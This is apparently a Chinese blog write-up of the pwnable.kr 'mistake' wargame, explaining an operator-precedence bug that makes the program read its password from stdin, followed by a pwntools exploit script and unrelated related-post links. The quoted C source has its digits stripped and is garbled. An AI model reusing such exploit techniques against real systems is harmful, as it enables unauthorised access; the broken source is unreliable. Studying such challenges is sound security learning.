又一道pwnable,我还没放弃。。

ssh mistake@pwnable.kr -p2222 (pw:guest)

源代码如下:

#include <stdio.h>
#include <fcntl.h> #define PW_LEN 10
#define XORKEY 1 void xor(char* s, int len){
int i;
for(i=; i<len; i++){
s[i] ^= XORKEY;
}
} int main(int argc, char* argv[]){ int fd;
if(fd=open("/home/mistake/password",O_RDONLY,) < ){
printf("can't open password %d\n", fd);
return ;
} printf("do not bruteforce...\n");
sleep(time()%); char pw_buf[PW_LEN+];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > )){
printf("read error\n");
close(fd);
return ;
} char pw_buf2[PW_LEN+];
printf("input password : ");
scanf("%10s", pw_buf2); // xor your input
xor(pw_buf2, ); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
} close(fd);
return ;
}

源代码中,对于文件打开错误条件判断出有问题

fd=open("/home/mistake/password",O_RDONLY,0400) < 0

最后执行的应该是=号,也就是说fd= 1,当fd=1,函数read读取就从stdin获得,这部分数据可以被用户输入。

这就是为什么程序运行时会有卡顿。

利用pwntools的sendline函数可以解决。

from pwn import *
import time
s= ssh(host='pwnable.kr',user='mistake',password='guest',port=2222)
s.connected()
pro = s.process('/home/mistake/mistake')
print pro.recv() fd_content = 'p4nda'+'\0'
fd_change = ""
for i in fd_content:
fd_change += chr(ord(i) ^ 1)
pro.sendline(fd_content)
print pro.recv()
print fd_content
print '[+] Sleep over.'
pro.sendline(fd_change)
print pro.recv()

发现使用recv函数可以绕过源文件中sleep等待,原因是该函数是阻塞的。

【pwnable.kr】 mistake的更多相关文章

  1. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  2. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  3. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  4. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  5. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  6. 【pwnable.kr】 codemap

    pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...

  7. 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...

  8. 【pwnable.kr】input

    这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...

  9. 【pwnable.kr】cmd2

    这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后, ...

随机推荐

  1. centos7 bond双网卡

    [root@pay network-scripts]# cat ifcfg-bond0 |grep -v \#TYPE="Ethernet"PROXY_METHOD="n ...

  2. 深入理解python(三)python字符编码和字符串处理

    说是有选择和循环分支,,也实在没有什么比较大的坑要注意的,所以就直接进入比较令人困扰的地方 unicode和字符串 这个地方是一直以来我比较头痛的地方,因为坑比较多而且python3和python2在 ...

  3. 【React Native错误集】Android error “Could not get BatchedBridge, make sure your bundle is packaged properly” on start of app

    问题1:Android error “Could not get BatchedBridge, make sure your bundle is packaged properly” on start ...

  4. Windows下配置多个Git账号

    1. 为什么会用多个git账号? 不同git账号对应不同代码托管平台,如:github.bitbucket.gitlab.gitee(码云)等 2个GitHub账号,用于测试(最近需求,之前没研究过g ...

  5. DataReader和DataAdapter的区别

    SqlDataReader是一个向前的指针,本身并不包含数据,调用一次Read()方法它就向前到下一条记录,一个SqlDataReader必须单独占用一个打开的数据库连接. 在使用 SqlDataRe ...

  6. springboot中文官方文档

    springboot中文官方文档 https://www.breakyizhan.com/springboot/3028.html spring框架 https://www.breakyizhan.c ...

  7. Git安装及基本配置

    一.在Linux上安装 1.Linux系统安装 使用Linux发布版包含的基础软件包管理工具可以很容易安装Git.例如,在Ubuntu系统上可使用以下指令安装Git: $ sudo apt-get i ...

  8. Java 实现 POS 打印机无驱打印

    来源:https://www.ibm.com/developerworks/cn/java/j-lo-pos/index.html 行业需求 我们是一家专业做酒店餐饮软件的公司,餐饮软件一个重要的功能 ...

  9. 前端学习(20)~css布局(十三)

    常见的布局属性 (1)display 确定元素的显示类型: block:块级元素. inline:行内元素. inline-block:对外的表现是行内元素(不会独占一行),对内的表现是块级元素(可以 ...

  10. exchange 强制更新全球通讯簿

    ————-客户端强制更新方式————– Outlook通讯录默认情况需要2-3天同步更新通讯录,可以使用下列方式立即更新通讯录 1. 关闭outlook ,打开下列文件夹 %userprofile%\ ...